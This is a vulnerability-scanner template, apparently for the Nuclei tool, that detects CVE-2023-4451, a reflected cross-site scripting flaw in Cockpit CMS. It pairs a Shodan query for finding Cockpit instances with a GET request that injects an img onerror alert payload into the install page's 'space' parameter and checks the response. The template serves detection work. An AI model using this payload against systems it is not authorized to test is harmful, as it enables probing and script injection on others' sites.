id: CVE-2023-4451 info: name: Cockpit - Cross-Site Scripting author: iamnoooob,pdresearch severity: medium description: | Cross-site Scripting (XSS) - Reflected in GitHub repository cockpit-hq/cockpit prior to 2.6.4. reference: - https://huntr.dev/bounties/4e111c3e-6cf3-4b4c-b3c1-a540bf30f8fa/ - https://github.com/Cockpit-HQ/Cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c - https://nvd.nist.gov/vuln/detail/CVE-2023-4451 - https://github.com/cockpit-hq/cockpit/commit/30609466c817e39f9de1871559603e93cd4d0d0c classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-4451 cwe-id: CWE-79 epss-score: 0.00064 epss-percentile: 0.26587 cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: agentejo product: cockpit shodan-query: html:"Cockpit" tags: huntr,cve,cve2023,cockpit,xss http: - method: GET path: - "{{BaseURL}}/install/index.php?1692443074&space=%3Cimg%20src=1%20onerror=alert(document.domain)%3E" matchers-condition: and matchers: - type: word part: body words: - "Space :: does not exist" - type: word part: header words: - "text/html" - type: status status: - 200 # digest: 4a0a00473045022100d9a2a65566d7349b6d2fda1536510b2ff19cdd40ab08e6a98be5193dec0cf72302205599f8a1ea08d627d909a502fdd9e7b5bc39f2b64f52d81a8147bd1ed477af90:922c64590222798bb761d5b6d8e72950